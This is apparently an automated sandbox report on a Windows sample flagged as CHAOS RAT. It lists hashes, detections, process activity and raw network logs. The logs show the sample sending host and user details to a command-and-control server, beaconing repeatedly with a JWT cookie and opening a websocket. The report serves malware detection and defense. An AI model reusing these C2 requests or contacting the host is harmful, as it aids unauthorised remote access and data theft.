Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
pointcross.dat.exe

Overview

General Information

Sample Name:pointcross.dat.exe
Analysis ID:1348350
MD5:585381bc89179fe4fd758c05ae7049b4
SHA1:b8df37aeb48b75fa26f6ff8cc9cc213142f98d0d
SHA256:b66cd936cb687374b4822dc779e08dc1e2ab0b595a59fad709aab94d9f61c12d
Tags:exe
Infos:

Detection

CHAOS RAT
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected CHAOS RAT
Snort IDS alert for network traffic
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Detected TCP or UDP traffic on non-standard ports
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Stores large binary data to the registry
Sample execution stops while process was sleeping (likely an evasion)
Creates a process in suspended mode (likely to inject code)
IP address seen in connection with other malware
Contains long sleeps (>= 3 min)
Enables debug privileges

Classification

Process Tree

  • System is w10x64
  • pointcross.dat.exe (PID: 6684 cmdline: C:\Users\user\Desktop\pointcross.dat.exe MD5: 585381BC89179FE4FD758C05AE7049B4)
    • conhost.exe (PID: 6680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • powershell.exe (PID: 6880 cmdline: powershell -Command "schtasks /query /tn Orchestrator Cache Storage /v /fo LIST" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • schtasks.exe (PID: 6160 cmdline: "C:\Windows\system32\schtasks.exe" /query /tn Orchestrator Cache Storage /v /fo LIST MD5: 76CD6626DD8834BD4A42E6A565104DC2)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_CHAOSRATYara detected CHAOS RATJoe Security
    Process Memory Space: pointcross.dat.exe PID: 6684JoeSecurity_CHAOSRATYara detected CHAOS RATJoe Security

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      0.2.pointcross.dat.exe.8f0000.0.unpackJoeSecurity_CHAOSRATYara detected CHAOS RATJoe Security

        Sigma Signatures

        ⊘No Sigma rule has matched

        Snort Signatures

        Timestamp:192.168.2.4213.183.63.994973280802037145 11/27/23-10:13:59.242019
        SID:2037145
        Source Port:49732
        Destination Port:8080
        Protocol:TCP
        Classtype:A Network Trojan was detected
        Timestamp:192.168.2.4213.183.63.994973280802046873 11/27/23-10:13:58.191363
        SID:2046873
        Source Port:49732
        Destination Port:8080
        Protocol:TCP
        Classtype:A Network Trojan was detected
        Timestamp:192.168.2.4213.183.63.994973180802046872 11/27/23-10:11:57.761039
        SID:2046872
        Source Port:49731
        Destination Port:8080
        Protocol:TCP
        Classtype:A Network Trojan was detected

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        Multi AV Scanner detection for submitted file
        Source: pointcross.dat.exeVirustotal: Detection: 15%Perma Link
        Source: pointcross.dat.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

        Networking

        barindex
        Snort IDS alert for network traffic
        Source: TrafficSnort IDS: 2046873 ET TROJAN CHAOS RAT CnC Server Status Check 192.168.2.4:49732 -> 213.183.63.99:8080
        Source: TrafficSnort IDS: 2046872 ET TROJAN CHAOS RAT Client Checkin 192.168.2.4:49731 -> 213.183.63.99:8080
        Source: TrafficSnort IDS: 2037145 ET TROJAN Win32/Khaosz.A!MTB Checkin 192.168.2.4:49732 -> 213.183.63.99:8080
        Source: global trafficTCP traffic: 192.168.2.4:49731 -> 213.183.63.99:8080
        Source: Joe Sandbox ViewASN Name: MELBICOM-EU-ASMelbikomasUABNL MELBICOM-EU-ASMelbikomasUABNL
        Source: Joe Sandbox ViewIP Address: 104.16.133.229 104.16.133.229
        Source: Joe Sandbox ViewIP Address: 104.16.133.229 104.16.133.229
        Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
        Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
        Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
        Source: unknownNetwork traffic detected: HTTP traffic on port 49767 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49749 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
        Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49767
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
        Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49765
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
        Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
        Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
        Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
        Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
        Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49765 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49749
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
        Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: unknownTCP traffic detected without corresponding DNS query: 213.183.63.99
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000106000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000096000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/device
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/deviceMon
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000268000.00000004.00001000.00020000.00000000.sdmp, pointcross.dat.exe, 00000000.00000002.2873977324.000000C0003E4000.00000004.00001000.00020000.00000000.sdmp, pointcross.dat.exe, 00000000.00000002.2873977324.000000C00036E000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/health
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthLoopback
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C0003E4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthMon
        Source: pointcross.dat.exe, 00000000.00000002.2876349228.000000C00041C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/devicehttp://213.183.63.99:8080/healthhttp://213.183.63.99:8080/healthLoop
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000106000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/health
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C00031E000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/healthLoopback
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000096000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/healthMon
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000010000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/healtha
        Source: pointcross.dat.exe, 00000000.00000002.2873977324.000000C000106000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://213.183.63.99:8080/s0
        Source: pointcross.dat.exe, 00000000.00000002.2873194373.00000000008F1000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://cloudflare.com/cdn-cgi/tracestrings.Builder.Grow:
        Source: unknownHTTP traffic detected: POST /device HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Length: 231Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzipData Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 31 37 7d Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076317}
        Source: unknownDNS traffic detected: queries for: cloudflare.com
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /cdn-cgi/trace HTTP/1.1Host: cloudflare.comUser-Agent: Go-http-client/1.1Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /client HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Connection: UpgradeCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Sec-WebSocket-Key: k8psyLMnFZs8POXNEVOcXQ==Sec-WebSocket-Version: 13Upgrade: websocketX-Client: ec:f4:bb:ea:15:88
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
        Source: global trafficHTTP traffic detected: GET /health HTTP/1.1Host: 213.183.63.99:8080User-Agent: Go-http-client/1.1Content-Type: application/jsonCookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8Accept-Encoding: gzip
